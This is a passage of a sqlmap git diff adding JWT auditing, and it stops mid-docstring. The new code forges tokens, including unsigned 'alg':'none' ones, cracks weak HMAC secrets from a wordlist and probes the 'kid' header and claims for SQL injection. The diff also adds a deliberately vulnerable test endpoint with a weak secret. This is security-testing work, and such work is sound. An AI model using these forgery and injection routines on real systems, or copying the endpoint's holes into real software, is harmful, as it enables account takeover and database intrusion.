diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py
index 95c1a9da45c..5962545bdff 100644
--- a/extra/vulnserver/vulnserver.py
+++ b/extra/vulnserver/vulnserver.py
@@ -10,6 +10,8 @@
from __future__ import print_function
import base64
+import hashlib
+import hmac
import json
import os
import random
@@ -38,6 +40,30 @@
except (IOError, OSError):
pass
+# Self-contained JSON Web Token forge/parse for the '/jwt' endpoint, so '--jwt' has a live target in the
+# vuln-test. The signing secret is a common one (crackable from the shipped wordlist), the endpoint accepts
+# unsigned 'alg':'none' tokens (VULN) and reflects 'kid' into a SQL error (injectable key lookup).
+JWT_SECRET = "secret"
+
+def _jwt_b64url(data):
+ return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
+
+def _jwt_forge(header, payload, secret):
+ seg = lambda obj: _jwt_b64url(json.dumps(obj, separators=(',', ':')).encode(UNICODE_ENCODING))
+ signingInput = "%s.%s" % (seg(header), seg(payload))
+ signature = _jwt_b64url(hmac.new(secret.encode(UNICODE_ENCODING), signingInput.encode(UNICODE_ENCODING), hashlib.sha256).digest())
+ return "%s.%s" % (signingInput, signature)
+
+def _jwt_parse(token):
+ try:
+ header, payload, signature = token.split('.')
+ pad = lambda value: value + '=' * (-len(value) % 4)
+ return json.loads(base64.urlsafe_b64decode(pad(header))), json.loads(base64.urlsafe_b64decode(pad(payload))), signature
+ except Exception:
+ return None
+
+JWT_TOKEN = _jwt_forge({"alg": "HS256", "typ": "JWT", "kid": "key1"}, {"user": "guest", "role": "user", "exp": 9999999999}, JWT_SECRET)
+
if PY3:
from http.client import FORBIDDEN
from http.client import INTERNAL_SERVER_ERROR
@@ -1003,6 +1029,28 @@ def do_REQUEST(self):
self.wfile.write(output.encode(UNICODE_ENCODING, "ignore"))
return
+ if self.url == "/jwt":
+ self.send_response(OK)
+ self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
+ self.send_header("Connection", "close")
+ self.end_headers()
+
+ parsed = _jwt_parse(self.params.get("session", ""))
+ output = "
access denied. please sign in."
+ if parsed:
+ header, payload, _ = parsed
+ kid = header.get("kid")
+ if hasattr(kid, "count") and kid.count("'") % 2 == 1: # str/unicode (py2/py3), not an int/dict
+ # VULNERABLE: 'kid' feeds a key-lookup query unsanitized -> a lone quote breaks it
+ output = "You have an error in your SQL syntax near '%s'" % kid
+ elif (header.get("alg") or "").lower() == "none":
+ output = "welcome back, %s. secret area." % payload.get("user") # VULN: unsigned accepted
+ elif _jwt_forge(header, payload, JWT_SECRET) == self.params.get("session"):
+ output = "welcome back, %s. secret area." % payload.get("user")
+
+ self.wfile.write(output.encode(UNICODE_ENCODING, "ignore"))
+ return
+
if self.url == "/csrf":
if self.params.get("csrf_token") == _csrf_token:
self.url = "/"
diff --git a/lib/controller/checks.py b/lib/controller/checks.py
index 533a157c6cc..f18b9fbb040 100644
--- a/lib/controller/checks.py
+++ b/lib/controller/checks.py
@@ -1276,6 +1276,41 @@ def _(page):
return kb.heuristicTest
+def checkJWT():
+ """
+ Passive, always-on heuristic: surface any JSON Web Token the request carries (cookie, header or
+ parameter) together with its offline weaknesses (alg:none, guessable HMAC secret, unsafe key
+ headers, missing expiry), hinting at '--jwt' for active confirmation and injection.
+ """
+
+ if kb.jwtChecked or conf.jwt:
+ return
+
+ kb.jwtChecked = True
+
+ from lib.utils.jwt import auditJWT
+ from lib.utils.jwt import findJWTs
+ from lib.core.settings import JWT_COMMON_SECRETS
+
+ haystacks = list((conf.parameters or {}).values())
+ haystacks += [value for _, value in (conf.httpHeaders or [])]
+
+ seen = set()
+ for haystack in haystacks:
+ for token in findJWTs(haystack):
+ if token in seen:
+ continue
+ seen.add(token)
+
+ infoMsg = "heuristic (JWT) test shows that the request carries a JSON Web Token (rerun with switch '--jwt')"
+ logger.info(infoMsg)
+
+ for _, severity, summary, __ in auditJWT(token, secrets=JWT_COMMON_SECRETS):
+ logger.info("JWT weakness (%s): %s" % (severity, summary))
+
+ if conf.beep:
+ beep()
+
def checkDynParam(place, parameter, value):
"""
This function checks if the URL parameter is dynamic. If it is
diff --git a/lib/controller/controller.py b/lib/controller/controller.py
index 3ec482316a4..a3b7c07c70e 100644
--- a/lib/controller/controller.py
+++ b/lib/controller/controller.py
@@ -16,6 +16,7 @@
from lib.controller.checks import checkConnection
from lib.controller.checks import checkDynParam
from lib.controller.checks import checkInternet
+from lib.controller.checks import checkJWT
from lib.controller.checks import checkNullConnection
from lib.controller.checks import checkSqlInjection
from lib.controller.checks import checkStability
@@ -529,12 +530,14 @@ def start():
checkWaf()
- if conf.mineParams and not any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql)):
+ checkJWT()
+
+ if conf.mineParams and not any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql, conf.jwt)):
from lib.utils.paraminer import mineParameters
mineParameters()
- if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql)) and (conf.reportJson or conf.resultsFile):
- singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe/--hql) findings; these are reported on the console only")
+ if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql, conf.jwt)) and (conf.reportJson or conf.resultsFile):
+ singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe/--hql/--jwt) findings; these are reported on the console only")
if conf.graphql:
from lib.techniques.graphql.inject import graphqlScan
@@ -571,6 +574,11 @@ def start():
hqlScan()
continue
+ if conf.jwt:
+ from lib.techniques.jwt.inject import jwtScan
+ jwtScan()
+ continue
+
if conf.nullConnection:
checkNullConnection()
diff --git a/lib/core/option.py b/lib/core/option.py
index aadde6d5b57..cf23e97f749 100644
--- a/lib/core/option.py
+++ b/lib/core/option.py
@@ -2244,6 +2244,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.heuristicPage = False
kb.heuristicTest = None
kb.hintValue = ""
+ kb.jwtChecked = False
kb.htmlFp = []
kb.huffmanModel = {}
kb.respTruncated = False
diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py
index 8bf6951d2c5..0b6caf96c08 100644
--- a/lib/core/optiondict.py
+++ b/lib/core/optiondict.py
@@ -127,6 +127,7 @@
"ssti": "boolean",
"xxe": "boolean",
"hql": "boolean",
+ "jwt": "boolean",
"oobServer": "string",
"oobToken": "string",
"timeSec": "integer",
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 04f62b2c16c..289ea20bc45 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
from thirdparty import six
# sqlmap version (...)
-VERSION = "1.10.7.188"
+VERSION = "1.10.7.189"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -1230,6 +1230,17 @@
HQL_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in HQL_ERROR_SIGNATURES)
+# Small, fast dictionary the always-on JWT heuristic tries against an HS* signature (the full
+# '--jwt' audit streams the shipped wordlist instead); these are the secrets seen over and over in
+# tutorials, framework defaults and CTFs
+JWT_COMMON_SECRETS = ("secret", "password", "changeme", "admin", "test", "jwt", "key", "private",
+ "your-256-bit-secret", "your_jwt_secret", "supersecret", "secretkey", "s3cr3t", "1234567890",
+ "qwerty", "root", "token", "default", "example", "mysecret", "jwtsecret", "signingkey")
+
+# Upper bound on candidate secrets tried during the offline '--jwt' HMAC crack (keeps a huge custom
+# wordlist from turning an audit into an unbounded brute-force)
+JWT_MAX_CRACK_WORDS = 2000000
+
# Regexes that pull the mapped entity/root name out of a Hibernate diagnostic (the
# ORM equivalent of a leaked table name; HQL has no information_schema so error-based
# leakage is the native way to learn the entity model). First capture group = name.
diff --git a/lib/core/testing.py b/lib/core/testing.py
index e6d62cfa54e..f7efb96fc6a 100644
--- a/lib/core/testing.py
+++ b/lib/core/testing.py
@@ -99,6 +99,7 @@ def vulnTest(tests=None, label="vuln"):
("-u \"xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction
("-u \"ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe
("-u \"hql/search?name=admin\" -p name --hql --flush-session --disable-hashing", ("is vulnerable to HQL injection", "back-end: 'Hibernate'", "entity 'Users'", "s3cr3t", "HQL scan complete")), # HQL: error-based Hibernate fingerprint + boolean oracle + error-leaked entity + blind attribute enumeration and substring value extraction
+ ("-u \"jwt?x=1\" --cookie=\"session=%s\" --jwt --flush-session" % vulnserver.JWT_TOKEN, ("found a JSON Web Token", "HMAC secret recovered ('secret')", "server accepts an unsigned", "vulnerable to error-based SQL injection")), # JWT: offline weak-secret crack + active oracle confirming alg:none acceptance + 'kid' error-based SQL injection
("-u --flush-session --esperanto --technique=B --banner", ("using the DBMS-agnostic 'Esperanto' engine", "Esperanto dialect verdict: SQLite", "banner: '3.")), # Esperanto: DBMS-agnostic boolean-oracle engine drives --banner end-to-end through the real sqlmap handler (fingerprinting skipped, dialect discovered from scratch, banner blind-extracted)
("-u \"xxe\" --data=\"x
\" --xxe --file-read=\"%s\" --flush-session" % vulnserver.XXE_READ_FILE, ("the XML body processes DTD/internal entities", "in-band XXE file-read impact confirmed", "Type: XXE injection", "XXE scan complete")), # XXE: in-band internal-entity reflection (real libxml2/lxml parser) + external file:// entity file read
("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py
index 5bbc8c51cc9..03bddb531be 100644
--- a/lib/parse/cmdline.py
+++ b/lib/parse/cmdline.py
@@ -808,6 +808,9 @@ def cmdLineParser(argv=None):
nonsql.add_argument("--hql", dest="hql", action="store_true",
help="Test for HQL/JPQL (Hibernate ORM) injection")
+ nonsql.add_argument("--jwt", dest="jwt", action="store_true",
+ help="Audit JSON Web Tokens (JWT) for weaknesses")
+
nonsql.add_argument("--oob-server", dest="oobServer",
help="Out-of-band server for blind '--xxe'")
diff --git a/lib/techniques/jwt/__init__.py b/lib/techniques/jwt/__init__.py
new file mode 100644
index 00000000000..bcac841631b
--- /dev/null
+++ b/lib/techniques/jwt/__init__.py
@@ -0,0 +1,8 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+pass
diff --git a/lib/techniques/jwt/inject.py b/lib/techniques/jwt/inject.py
new file mode 100644
index 00000000000..df6bdf7041d
--- /dev/null
+++ b/lib/techniques/jwt/inject.py
@@ -0,0 +1,361 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+import time
+
+from lib.core.common import beep
+from lib.core.common import randomStr
+from lib.core.convert import getUnicode
+from lib.core.data import conf
+from lib.core.data import logger
+from lib.core.data import paths
+from lib.core.enums import CUSTOM_LOGGING
+from lib.core.enums import PLACE
+from lib.core.settings import JWT_COMMON_SECRETS
+from lib.core.settings import JWT_MAX_CRACK_WORDS
+from lib.core.settings import UPPER_RATIO_BOUND
+from lib.core.wordlist import Wordlist
+from lib.request.connect import Connect as Request
+from lib.utils.jwt import auditJWT
+from lib.utils.jwt import crackHMAC
+from lib.utils.jwt import encodeSegment
+from lib.utils.jwt import forgeJWT
+from lib.utils.jwt import findJWTs
+from lib.utils.jwt import HMAC_ALGORITHMS
+from lib.utils.jwt import parseJWT
+from lib.utils.nonsql import EXTRACT_MATCH_MARGIN
+from lib.utils.nonsql import leansTrue
+from lib.utils.nonsql import ratio
+from lib.utils.nonsql import sqlErrorPresent
+from thirdparty import six
+
+# improbable literal used to build tamper values / reject calibration; randomized per run so it never
+# becomes a static signature a WAF can pin
+JWT_SENTINEL = randomStr(length=12, lowercase=True)
+
+# severity -> sort rank (most severe first) for a tidy final report
+_SEVERITY_RANK = {"critical": 0, "high": 1, "medium": 2, "info": 3}
+
+# internal marker for "the token rides in an arbitrary HTTP header" (no matching PLACE constant; headers
+# are carried by conf.httpHeaders and rebuilt via auxHeaders)
+_HEADER_PLACE = "HEADER"
+
+# registered temporal claims are validated as timestamps, never concatenated into SQL - skip them when
+# probing for injection (saves requests and trims the false-positive surface)
+_SKIP_CLAIMS = frozenset(("exp", "nbf", "iat"))
+
+# upper bound on the number of claims actively probed, so a hostile/huge token cannot explode the request count
+_MAX_PROBE_CLAIMS = 20
+
+# resolved location of the token in the outgoing request (set by _locate)
+_TOKEN = None
+_PLACE = None
+_HEADER = None # header name when the token rides in an HTTP header
+_HEADER_VALUE = None # that header's original value (to rebuild it with a forged token)
+
+def _locate():
+ """Find the first JSON Web Token carried by the request (parameters first, then HTTP headers) and
+ record where it lives so probes can rebuild that one component with a forged token."""
+
+ global _TOKEN, _PLACE, _HEADER, _HEADER_VALUE
+
+ for place in (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.COOKIE):
+ blob = (conf.parameters or {}).get(place)
+ tokens = findJWTs(blob) if blob else []
+ if tokens:
+ _TOKEN, _PLACE, _HEADER, _HEADER_VALUE = tokens[0], place, None, None
+ return True
+
+ for name, value in (conf.httpHeaders or []):
+ tokens = findJWTs(value)
+ if tokens:
+ _TOKEN, _PLACE, _HEADER, _HEADER_VALUE = tokens[0], _HEADER_PLACE, name, value
+ return True
+
+ return False
+
+def _send(token):
+ """Issue one request with the located token replaced by 'token', returning the response body (or None
+ on a transport failure/block, which must never enter the oracle as an empty string)."""
+
+ skipUrlEncode = conf.skipUrlEncode
+ conf.skipUrlEncode = True
+
+ if conf.delay:
+ time.sleep(conf.delay)
+
+ try:
+ kwargs = {"raise404": False, "silent": True}
+
+ if _PLACE == _HEADER_PLACE:
+ kwargs["auxHeaders"] = {_HEADER: _HEADER_VALUE.replace(_TOKEN, token)}
+ payload = kwargs["auxHeaders"][_HEADER]
+ else:
+ payload = (conf.parameters[_PLACE]).replace(_TOKEN, token)
+ if _PLACE == PLACE.GET:
+ kwargs["get"] = payload
+ elif _PLACE in (PLACE.POST, PLACE.CUSTOM_POST):
+ kwargs["post"] = payload
+ elif _PLACE == PLACE.COOKIE:
+ kwargs["cookie"] = payload
+
+ logger.log(CUSTOM_LOGGING.PAYLOAD, payload)
+ page = Request.getPage(**kwargs)[0]
+ except Exception as ex:
+ logger.debug("JWT probe request failed: %s" % getUnicode(ex))
+ return None
+ finally:
+ conf.skipUrlEncode = skipUrlEncode
+
+ return page
+
+def _wordlistSecrets():
+ """Yield candidate HMAC secrets for the offline crack: the small common set first (fast wins), then
+ the shipped wordlist streamed lazily, bounded by JWT_MAX_CRACK_WORDS."""
+
+ for secret in JWT_COMMON_SECRETS:
+ yield secret
+
+ count = 0
+ try:
+ for word in Wordlist([paths.WORDLIST]):
+ yield getUnicode(word)
+ count += 1
+ if count >= JWT_MAX_CRACK_WORDS:
+ break
+ except Exception as ex:
+ logger.debug("JWT wordlist streaming stopped: %s" % getUnicode(ex))
+
+def _crackSecret(data):
+ """Recover an HS* signing secret from the shipped dictionary (a full forgery primitive), else None."""
+
+ return crackHMAC(data["raw"], _wordlistSecrets(), limit=JWT_MAX_CRACK_WORDS + len(JWT_COMMON_SECRETS))
+
+def _corruptSignature(token):
+ """Same header and claims, deliberately wrong signature - accepted like the original means the server
+ does not verify the signature at all."""
+
+ header, payload, signature = token.split('.')
+ flipped = (signature[:-1] + ("A" if not signature.endswith("A") else "B")) if signature else "AAAA"
+ return "%s.%s.%s" % (header, payload, flipped)
+
+def _makeOracle():
+ """Calibrate an acceptance oracle from the original (authenticated) response vs a structurally-broken
+ token (rejected by any consumer). Returns accepted(page)->bool, or None when the authenticated page is
+ too dynamic to use, or the endpoint does not distinguish a valid token from a broken one.
+
+ A forgery is 'accepted' when its response leans to the authenticated model over the rejected one (shared
+ tri-state margin logic - tolerates the baseline's natural jitter, e.g. a rotating CSRF token/timestamp,
+ which a hard identical-page gate would misread as a rejection)."""
+
+ baseline = _send(_TOKEN)
+ baseline2 = _send(_TOKEN)
+ reject = _send("%s.%s.%s" % (JWT_SENTINEL, JWT_SENTINEL, JWT_SENTINEL))
+
+ if None in (baseline, baseline2, reject):
+ return None
+ if ratio(baseline, baseline2) < UPPER_RATIO_BOUND:
+ return None # authenticated page too dynamic to be a reliable oracle
+ if ratio(baseline, reject) >= UPPER_RATIO_BOUND:
+ return None # endpoint can't tell a valid token from a broken one
+
+ return lambda page: page is not None and leansTrue(page, baseline, reject)
+
+def _errorBased(mutate, breaker):
+ """A SQL error must surface with the syntax-breaking payload but NOT with the neutral control - so a page
+ that merely contains SQL-error text (a doc/debug banner) cannot masquerade as an injection."""
+
+ control = _send(mutate(JWT_SENTINEL))
+ broken = _send(mutate(breaker))
+ return control is not None and broken is not None and sqlErrorPresent(broken) and not sqlErrorPresent(control)
+
+def _booleanConfirmed(mutate, ref, good, bad):
+ """Confirmed boolean divergence with jitter guards: the endpoint must be stable for the neutral 'ref' (a
+ re-fetch matches), the syntactically-valid 'good' mutation must match that control while the query-breaking
+ 'bad' mutation diverges - and the divergence must reproduce on a re-send (so a one-off dynamic response is
+ not read as a vulnerability)."""
+
+ base = _send(mutate(ref))
+ base2 = _send(mutate(ref))
+ if None in (base, base2):
+ return False
+
+ # the page's natural noise floor: two identical neutral requests. If even that is below the similarity
+ # bound the page is too dynamic to judge; otherwise the 'bad' mutation only counts as a real divergence
+ # when it drops the similarity MEANINGFULLY BELOW that floor (more than mere per-request jitter)
+ jitter = ratio(base, base2)
+ if jitter < UPPER_RATIO_BOUND:
+ return False
+ threshold = jitter - EXTRACT_MATCH_MARGIN
+
+ goodPage = _send(mutate(good))
+ badPage = _send(mutate(bad))
+ badPage2 = _send(mutate(bad))
+ if None in (goodPage, badPage, badPage2):
+ return False
+
+ return (ratio(base, goodPage) >= threshold
+ and ratio(base, badPage) <= threshold
+ and ratio(base, badPage2) <= threshold)
+
+def _probeStringInjection(mutate):
+ """SQL-injection probe for a string component (kid or a string claim) via single-quote breakage: a lone
+ quote breaks the query while the balanced pair restores it."""
+
+ s = JWT_SENTINEL
+ if _errorBased(mutate, "%s'%s" % (s, s)):
+ return ("error-based SQL injection", "critical")
+ if _booleanConfirmed(mutate, s, "%s''%s" % (s, s), "%s'%s" % (s, s)):
+ return ("boolean-based SQL injection", "high")
+ return None
+
+def _probeNumericInjection(mutate, value):
+ """SQL-injection probe for a numeric claim: a quote still errors a string-concatenated number, and an
+ 'AND n=n' / 'AND n=n+1' pair distinguishes a true from a false condition in a numeric (unquoted) context."""
+
+ n = 1000 + len(JWT_SENTINEL)
+ if _errorBased(mutate, "%s'" % value):
+ return ("error-based SQL injection", "critical")
+ if _booleanConfirmed(mutate, str(value), "%s AND %d=%d" % (value, n, n), "%s AND %d=%d" % (value, n, n + 1)):
+ return ("boolean-based SQL injection", "high")
+ return None
+
+def jwtScan():
+ """Audit the JSON Web Token carried by the request: report offline weaknesses (alg:none, guessable
+ HMAC secret, unsafe key headers, missing expiry), confirm which forgeries the server actually accepts
+ (signature-not-verified / alg:none / expired), and probe the 'kid' header and claims for SQL injection.
+ Self-contained - SQL enumeration switches (--banner/--dbs/--tables/...) do not apply."""
+
+ if not _locate():
+ logger.warning("no JSON Web Token found in the request (looked in GET/POST/cookie parameters and HTTP headers)")
+ return
+
+ data = parseJWT(_TOKEN)
+ header = data["header"]
+ payload = data["payload"]
+ where = ("'%s' header" % _HEADER) if _PLACE == _HEADER_PLACE else ("%s parameter" % _PLACE)
+ logger.info("found a JSON Web Token in the %s (algorithm '%s')" % (where, header.get("alg")))
+
+ findings = [] # (id, severity, summary, detail, confirmed)
+
+ # offline findings that are inherently speculative (not proven by reading the token or an active probe):
+ # an asymmetric alg is only a confusion CANDIDATE, and a bare 'kid' is only a candidate injection point
+ OFFLINE_CANDIDATES = ("alg-confusion", "kid-injection")
+
+ # 1. offline heuristic battery (structural), then a single wordlist pass for the HMAC secret
+ for fid, severity, summary, detail in auditJWT(_TOKEN):
+ findings.append((fid, severity, summary, detail, fid not in OFFLINE_CANDIDATES))
+
+ secret = None
+ if (header.get("alg") or "").upper() in HMAC_ALGORITHMS:
+ logger.info("attempting to recover the HMAC signing secret from the wordlist")
+ secret = _crackSecret(data)
+ if secret is not None:
+ findings.append(("weak-hmac-secret", "critical", "HMAC secret recovered ('%s')" % secret, "arbitrary tokens can be forged and re-signed", True))
+
+ algNoneAccepted = False
+
+ # 2. active oracle: which forgeries does the server actually accept?
+ oracle = _makeOracle()
+ if oracle is None:
+ logger.warning("the endpoint does not distinguish a valid token from a broken one - cannot actively confirm forgeries (offline findings still apply)")
+ else:
+ # signature not verified: same claims, wrong signature (skip when the token is already unsigned - the
+ # 'alg:none' finding below covers that, and signing an unsigned token proves nothing)
+ if (header.get("alg") or "").lower() != "none" and data["signature"] and oracle(_send(_corruptSignature(_TOKEN))):
+ findings.append(("signature-not-verified", "critical", "server accepts a token with an invalid signature", "any claim can be forged without a key", True))
+
+ # alg:none accepted: strip the signature entirely, keep the claims
+ try:
+ noneToken = forgeJWT(dict(header, alg="none"), payload)
+ if oracle(_send(noneToken)):
+ algNoneAccepted = True
+ findings.append(("alg-none-accepted", "critical", "server accepts an unsigned ('alg':'none') token", "any claim can be forged without a key", True))
+ except ValueError:
+ pass
+
+ # expired token accepted: only meaningful once we can re-sign (cracked secret or alg:none)
+ if isinstance(payload, dict) and "exp" in payload and (secret or algNoneAccepted):
+ forged = dict(payload, exp=1) # 1970 - unmistakably expired
+ expToken = forgeJWT(header, forged, key=secret) if secret else forgeJWT(dict(header, alg="none"), forged)
+ if oracle(_send(expToken)):
+ findings.append(("expired-accepted", "high", "server accepts an expired token", "expiry ('exp') is not enforced - stolen tokens never lapse", True))
+
+ # a re-signing primitive (recovered secret, else an accepted alg:none) keeps a tampered token valid so
+ # its mutated component actually reaches the back-end
+ if secret:
+ signer = lambda hdr, pl: forgeJWT(hdr, pl, key=secret)
+ elif algNoneAccepted:
+ signer = lambda hdr, pl: forgeJWT(dict(hdr, alg="none"), pl)
+ else:
+ signer = None
+
+ # 3. 'kid' header injection: with a primitive, tamper 'kid' in a validly (re)signed token; without one,
+ # keep the original signature (this only reaches the sink when 'kid' is resolved before verification)
+ if "kid" in header:
+ kidMutate = (lambda value: signer(dict(header, kid=value), payload)) if signer else (lambda value: _reheader(_TOKEN, "kid", value))
+ result = _probeStringInjection(kidMutate)
+ if result:
+ findings.append(("kid-injection-confirmed", result[1], "'kid' header is vulnerable to %s" % result[0], "the key identifier reaches a back-end query", True))
+
+ # 4. claim injection (needs a re-signing primitive so the tampered token is accepted and reaches the sink);
+ # string claims are probed with quote breakage, numeric claims in an unquoted 'AND n=n' context
+ if isinstance(payload, dict) and signer:
+ probed = 0
+ for name in list(payload):
+ if probed >= _MAX_PROBE_CLAIMS:
+ break
+ value = payload[name]
+ mutate = lambda newValue, name=name: signer(header, dict(payload, **{name: newValue}))
+ if name in _SKIP_CLAIMS or isinstance(value, bool): # temporal claim, or bool (int subclass, never a value context)
+ continue
+ elif isinstance(value, six.string_types):
+ result = _probeStringInjection(mutate)
+ elif isinstance(value, (int, float)):
+ result = _probeNumericInjection(mutate, value)
+ else:
+ continue
+ probed += 1
+ if result:
+ findings.append(("claim-injection-confirmed", result[1], "claim '%s' is vulnerable to %s" % (name, result[0]), "the claim value reaches a back-end query", True))
+
+ _report(_dedupe(findings))
+
+ return findings
+
+def _reheader(token, field, value):
+ """Rebuild 'token' with header field set to 'value', keeping the original claims and signature (used to
+ probe a header, e.g. 'kid', that the server resolves before checking the signature)."""
+
+ _, claims, signature = token.split('.')
+ return "%s.%s.%s" % (encodeSegment(dict(parseJWT(token)["header"], **{field: value})), claims, signature)
+
+def _dedupe(findings):
+ """Drop the speculative 'kid-injection' candidate once the active probe has confirmed 'kid' SQL injection,
+ so the same header is not reported twice (once as candidate, once as confirmed)."""
+
+ if any(_[0] == "kid-injection-confirmed" for _ in findings):
+ findings = [_ for _ in findings if _[0] != "kid-injection"]
+ return findings
+
+def _report(findings):
+ """Emit findings most-severe first, then a one-line self-contained note. Info-severity findings are logged
+ at INFO (a bare 'kid' / asymmetric-alg candidate is not a warning); actual weaknesses at WARNING."""
+
+ if not findings:
+ logger.info("no JWT weaknesses found")
+ return
+
+ for fid, severity, summary, detail, confirmed in sorted(findings, key=lambda _: _SEVERITY_RANK.get(_[1], 9)):
+ marker = "confirmed" if confirmed else "candidate"
+ message = "JWT %s [%s]: %s (%s)" % (marker, severity, summary, detail)
+ (logger.info if severity == "info" else logger.warning)(message)
+
+ if conf.beep:
+ beep()
+
+ logger.info("JWT audit is self-contained; SQL enumeration switches (e.g. --banner, --dbs, --tables) do not apply here")
diff --git a/lib/utils/jwt.py b/lib/utils/jwt.py
new file mode 100644
index 00000000000..358e62b6cf9
--- /dev/null
+++ b/lib/utils/jwt.py
@@ -0,0 +1,153 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+import hashlib
+import hmac
+import json
+import re
+
+from lib.core.convert import decodeBase64
+from lib.core.convert import encodeBase64
+from lib.core.convert import getBytes
+from lib.core.convert import getText
+
+# a compact JSON Web Token: base64url(header).base64url(payload).base64url(signature); a header always starts
+# with '{"' which base64url-encodes to the literal prefix 'eyJ', so this matches JWTs embedded in a larger value
+JWT_REGEX = r"eyJ[A-Za-z0-9_-]{4,}\.eyJ[A-Za-z0-9_-]{4,}\.[A-Za-z0-9_-]*"
+
+# keyed-hash algorithms sqlmap can both verify (crack) and forge offline
+HMAC_ALGORITHMS = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512}
+
+def encodeSegment(value):
+ return encodeBase64(json.dumps(value, separators=(',', ':')), binary=False, safe=True)
+
+def parseJWT(token):
+ """Split and decode a JWT into its header/payload/signature parts (None if it is not a well-formed JWT).
+
+ >>> data = parseJWT("eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.")
+ >>> data["header"]["alg"] == "none" and data["payload"]["user"] == "admin"
+ True
+ >>> parseJWT("not.a.jwt") is None
+ True
+ """
+
+ if not token or token.count('.') != 2:
+ return None
+
+ header, payload, signature = token.split('.')
+
+ try:
+ header = json.loads(decodeBase64(header, binary=False))
+ payload = json.loads(decodeBase64(payload, binary=False))
+ except Exception:
+ return None
+
+ if not isinstance(header, dict) or "alg" not in header:
+ return None
+
+ return {"header": header, "payload": payload, "signature": signature, "signingInput": token.rsplit('.', 1)[0], "raw": token}
+
+def findJWTs(value):
+ """Return every well-formed JWT found inside an arbitrary value (e.g. a Cookie/Authorization header)."""
+
+ return [match.group(0) for match in re.finditer(JWT_REGEX, value or "") if parseJWT(match.group(0))]
+
+def forgeJWT(header, payload, key=None):
+ """Re-encode a (possibly tampered) header/payload, signing with 'key' for an HMAC 'alg' or leaving the
+ signature empty for 'alg':'none' - the primitive behind the alg:none and weak-secret exploitation paths.
+
+ >>> forgeJWT({"alg": "none"}, {"user": "admin"}).endswith('.')
+ True
+ >>> parseJWT(forgeJWT({"alg": "HS256"}, {"user": "admin"}, key="secret"))["payload"]["user"] == "admin"
+ True
+ """
+
+ alg = (header.get("alg") or "none")
+ signingInput = "%s.%s" % (encodeSegment(header), encodeSegment(payload))
+
+ if alg.lower() == "none":
+ signature = ""
+ elif alg.upper() in HMAC_ALGORITHMS and key is not None:
+ digest = hmac.new(getBytes(key), getBytes(signingInput), HMAC_ALGORITHMS[alg.upper()]).digest()
+ signature = encodeBase64(digest, binary=False, safe=True)
+ else:
+ raise ValueError("unsupported algorithm '%s' for forging" % alg)
+
+ return "%s.%s" % (signingInput, signature)
+
+def crackHMAC(token, secrets, limit=None):
+ """Try to recover the HMAC signing secret of an HS* token from an iterable of candidate secrets; returns
+ the secret on success (a full forgery primitive), else None. Purely offline - no requests.
+
+ >>> token = forgeJWT({"alg": "HS256"}, {"user": "admin"}, key="s3cr3t")
+ >>> crackHMAC(token, ["admin", "s3cr3t", "letmein"])
+ 's3cr3t'
+ >>> crackHMAC(token, ["admin", "letmein"]) is None
+ True
+ """
+
+ data = parseJWT(token)
+ if not data or (data["header"].get("alg") or "").upper() not in HMAC_ALGORITHMS:
+ return None
+
+ fn = HMAC_ALGORITHMS[data["header"]["alg"].upper()]
+ signingInput = getBytes(data["signingInput"])
+ target = decodeBase64(data["signature"], binary=True)
+
+ for index, secret in enumerate(secrets):
+ if limit is not None and index >= limit:
+ break
+ secret = secret.strip() if hasattr(secret, "strip") else secret
+ if hmac.new(getBytes(secret), signingInput, fn).digest() == target:
+ return getText(secret)
+
+ return None
+
+def auditJWT(token, secrets=None, crackLimit=None):
+ """Offline heuristic battery over a single JWT - the 'bad JWT setup' checks that bite in the real world and
+ CTFs. Returns findings as (id, severity, summary, detail); online oracle checks (does the server ACCEPT an
